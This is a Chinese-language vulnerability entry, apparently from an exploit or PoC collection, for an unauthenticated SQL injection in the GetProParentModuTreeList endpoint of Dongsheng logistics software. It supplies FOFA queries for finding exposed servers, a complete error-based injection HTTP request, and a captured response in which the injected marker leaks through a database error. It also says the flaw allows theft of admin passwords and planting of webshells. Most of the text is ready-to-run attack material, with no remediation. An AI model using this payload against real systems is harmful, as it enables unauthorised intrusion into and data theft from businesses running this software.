Q11-1青岛东胜-东胜物流软件-SQL

漏洞描述：

东胜物流软件 GetProParentModuTreeList 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限

网站图片：

fofa语法：

body="FeeCodes/CompanysAdapter.aspx" || body="dhtmlxcombo_whp.js" || body="dongshengsoft" || body="theme/dhtmlxcombo.css"

漏洞复现：

payload：

```
GET /MvcShipping/MsBaseInfo/GetProParentModuTreeList?PARENTID=%27+AND+4757+IN+%28SELECT+%28CHAR%28113%29%2BCHAR%2898%29%2BCHAR%28122%29%2BCHAR%28120%29%2BCHAR%28113%29%2...
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
x-auth-token: 36ef438edd50bf8dd51fba642a82c3b7d272ff38
Content-Type: text/html; charset=utf-8
Connection: close
```

效果图：

Request

```
1  GET /MvcShipping/MsBaseInfo/GetProParentModuTreeList?PARENTID=%27+AND+4757+IN+%28SELECT
   +%28CHAR%28113%29%2BCHAR%2898%29%2BCHAR%28122%29%2BCHAR%28120%29%2BCHAR%28113%29%2B%28SELECT+%28CASE
   +WHEN+%284757%3D4757%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29
   +END%29%2BCHAR%28113%29%2BCHAR%28113%29%2BCHAR%2898%29%2BCHAR%28106%29%2BCHAR%28113%29%29%29+AND
   +%27KJaG%27%3D%27KJaG HTTP/1.1
2  Host 🔒 : ▒▒▒▒▒▒ ▒▒▒
3  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
   70.0.3538.77 Safari/537.36
4  x-auth-token: 36ef438edd50bf8dd51fba642a82c3b7d272ff38
5  Content-Type: text/html; charset=utf-8
6  Connection: close
```

Responses 161bytes / 40ms

```
1  HTTP/1.1 200 OK
2  Cache-Control: private
3  Content-Type: text/html; charset=utf-8
4  Server: Microsoft-IIS/7.5
5  Set-Cookie: ASP.NET_SessionId=anvf2rkajwbbinv1qvsr5yip; path=/; HttpOnly; SameS
6  X-AspNetMvc-Version: 2.0
7  X-AspNet-Version: 4.0.30319
8  X-Powered-By: ASP.NET
9  Date: Thu, 13 Jun 2024 04:39:57 GMT
10 Connection: close
11 Content-Length: 157
12
13 {
14   "success": false,
15   "message": "查询失败:在将 varchar 值 'qbzxq1qqbjq' 转换成数据类型 int 时失败。
16   "totalCount": 0,
17   "data": []
18 }
```